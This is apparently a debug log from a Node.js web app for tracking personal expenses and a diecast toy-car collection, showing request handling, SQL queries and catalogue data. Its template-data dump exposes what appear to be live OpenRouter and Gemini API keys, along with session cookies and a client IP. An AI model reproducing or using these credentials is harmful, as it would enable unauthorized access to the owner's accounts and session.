  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T11:42:42.075Z server-connect:router Serving templateView /diecast
2026-02-12T11:42:42.075Z server-connect:app Executing action step identify
2026-02-12T11:42:42.075Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.076Z server-connect:output identity: 1
2026-02-12T11:42:42.076Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.076Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T11:42:42.076Z server-connect:output restrict: undefined
2026-02-12T11:42:42.076Z server-connect:router Render template diecast
2026-02-12T11:42:42.076Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.122Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T11:42:42.386Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:42:42.388Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:42:42.389Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:42:42.389Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T11:42:42.390Z server-connect:app Executing action step identify
2026-02-12T11:42:42.390Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.390Z server-connect:output identity: 1
2026-02-12T11:42:42.390Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.390Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:42.391Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T11:42:42.391Z server-connect:output restrict: undefined
2026-02-12T11:42:42.391Z server-connect:app Executing action step select
2026-02-12T11:42:42.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:42:42.392Z server-connect:app Executing action step identify
2026-02-12T11:42:42.392Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.392Z server-connect:output identity: 1
2026-02-12T11:42:42.392Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.392Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:42.392Z server-connect:app Executing action step identify
2026-02-12T11:42:42.393Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.393Z server-connect:output identity: 1
2026-02-12T11:42:42.393Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.393Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:42.394Z server-connect:app Executing action step identify
2026-02-12T11:42:42.394Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.394Z server-connect:output identity: 1
2026-02-12T11:42:42.394Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.394Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:42.395Z server-connect:output restrict: undefined
2026-02-12T11:42:42.395Z server-connect:app Executing action step select
2026-02-12T11:42:42.395Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:42:42.396Z server-connect:app Executing action step identify
2026-02-12T11:42:42.396Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:42.396Z server-connect:output identity: 1
2026-02-12T11:42:42.396Z server-connect:app Executing action step restrict
2026-02-12T11:42:42.396Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:42.397Z server-connect:output restrict: undefined
2026-02-12T11:42:42.397Z server-connect:app Executing action step paged
2026-02-12T11:42:42.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:42:42.399Z server-connect:output restrict: undefined
2026-02-12T11:42:42.399Z server-connect:app Executing action step select
2026-02-12T11:42:42.399Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T11:42:42.401Z server-connect:output restrict: undefined
2026-02-12T11:42:42.402Z server-connect:app Executing action step select
2026-02-12T11:42:42.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:42:42.403Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T11:42:42.404Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T11:42:43.405Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-12T11:42:43.407Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T11:42:43.407Z server-connect:app Executing action step select
2026-02-12T11:42:43.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:42:43.409Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T11:42:43.409Z server-connect:app Executing action step select
2026-02-12T11:42:43.409Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T11:42:43.413Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T11:42:43.414Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
